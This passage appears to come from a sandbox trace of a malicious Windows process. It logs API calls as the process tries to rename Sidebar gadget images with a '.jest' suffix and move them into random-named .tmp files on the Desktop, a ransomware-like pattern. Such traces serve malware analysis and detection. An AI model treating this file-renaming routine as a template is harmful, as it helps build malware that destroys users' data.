lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png", lpFilePart=0x18e6d8*="add_over.png") returned 0x52 [0126.503] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x57, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 0x143ce48 [0126.503] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.505] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.505] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x175)) [0126.505] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x175)) [0126.505] GetUserDefaultLCID () returned 0x409 [0126.505] VarBstrFromR4 (in: fltIn=0x47944530, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.38") returned 0x0 [0126.505] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.505] GetTickCount () returned 0x1152128 [0126.506] GetTickCount () returned 0x1152128 [0126.506] GetTickCount () returned 0x1152128 [0126.506] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.506] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.506] GetTickCount () returned 0x1152128 [0126.506] IsWindowVisible (hWnd=0x30268) returned 0 [0126.506] Sleep (dwMilliseconds=0x0) [0126.507] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.507] GetFullPathNameA (in: lpFileName="5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp", lpFilePart=0x18e708*="5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp") returned 0x8d [0126.507] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png", lpFilePart=0x18e708*="add_over.png") returned 0x52 [0126.507] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5y29_ievilfy0ymf-hvgq_1ul7ztkqtde_yg7rhiphvctccy0ijdlq4urye52u6_awikqcifslcso4ure8mzebcp5fq_fvghj7l.tmp")) returned 0 [0126.510] GetLastError () returned 0x5 [0126.510] GetLastError () returned 0x5 [0126.510] SetLastError (dwErrCode=0x5) [0126.510] GetLastError () returned 0x5 [0126.510] SetLastError (dwErrCode=0x5) [0126.510] GetLastError () returned 0x5 [0126.510] SetLastError (dwErrCode=0x5) [0126.510] GetFullPathNameA (in: lpFileName="5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp", lpFilePart=0x18e6e4*="5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp") returned 0x8d [0126.510] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5y29_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39327935, cFileName="_iEViLfY0yMf-hvGq_1UL7ztKQtde_yG7rHipHVCtCCy0iJDlq4Urye52U6_AwikQcIfslCso4urE8MZEbCp5FQ_fVghJ7l.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.511] GetLastError () returned 0x2 [0126.511] GetLastError () returned 0x2 [0126.511] SetLastError (dwErrCode=0x2) [0126.511] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.511] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.512] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.512] GetTickCount () returned 0x1152137 [0126.512] GetTickCount () returned 0x1152137 [0126.512] GetTickCount () returned 0x1152137 [0126.512] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.512] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.512] GetTickCount () returned 0x1152137 [0126.512] IsWindowVisible (hWnd=0x30268) returned 0 [0126.512] Sleep (dwMilliseconds=0x0) [0126.513] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png.jest")) returned 0 [0126.515] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png", lpFilePart=0x18e6d8*="add_up.png") returned 0x50 [0126.515] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x57, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 0x143ce48 [0126.517] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.518] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.518] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x184)) [0126.518] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x184)) [0126.518] GetUserDefaultLCID () returned 0x409 [0126.518] VarBstrFromR4 (in: fltIn=0x47944532, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.39") returned 0x0 [0126.519] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.519] GetTickCount () returned 0x1152137 [0126.519] GetTickCount () returned 0x1152137 [0126.519] GetTickCount () returned 0x1152137 [0126.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.519] GetTickCount () returned 0x1152137 [0126.519] IsWindowVisible (hWnd=0x30268) returned 0 [0126.519] Sleep (dwMilliseconds=0x0) [0126.521] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.522] GetFullPathNameA (in: lpFileName="cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp", lpFilePart=0x18e708*="cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp") returned 0x8e [0126.522] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png", lpFilePart=0x18e708*="add_up.png") returned 0x50 [0126.522] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cdsnelofrzqixclo0dn-rn5i26wmx0gxtcvfhz9ubxudmceqhfww_68z4llssdlfno4ajweiwzdr9lwmacvbo ymykdpkwunfbkl.tmp")) returned 0 [0126.524] GetLastError () returned 0x5 [0126.524] GetLastError () returned 0x5 [0126.524] SetLastError (dwErrCode=0x5) [0126.524] GetLastError () returned 0x5 [0126.524] SetLastError (dwErrCode=0x5) [0126.551] GetLastError () returned 0x5 [0126.551] SetLastError (dwErrCode=0x5) [0126.551] GetFullPathNameA (in: lpFileName="cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp", lpFilePart=0x18e6e4*="cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp") returned 0x8e [0126.551] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cDsnEloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6e734463, cFileName="EloFRzqIxcLo0Dn-RN5I26wmX0gXtcvfhz9UbxUdmceQHfww_68Z4llssdLFno4ajweIWZDR9lWmACVBo yMykDpKWUnfBKL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.551] GetLastError () returned 0x2 [0126.551] GetLastError () returned 0x2 [0126.551] SetLastError (dwErrCode=0x2) [0126.552] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.552] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.553] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.553] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.553] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.553] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.554] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.554] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.554] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.555] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.555] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.555] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.555] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.556] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.557] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.558] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.558] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.558] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.559] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.559] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.559] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.560] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: 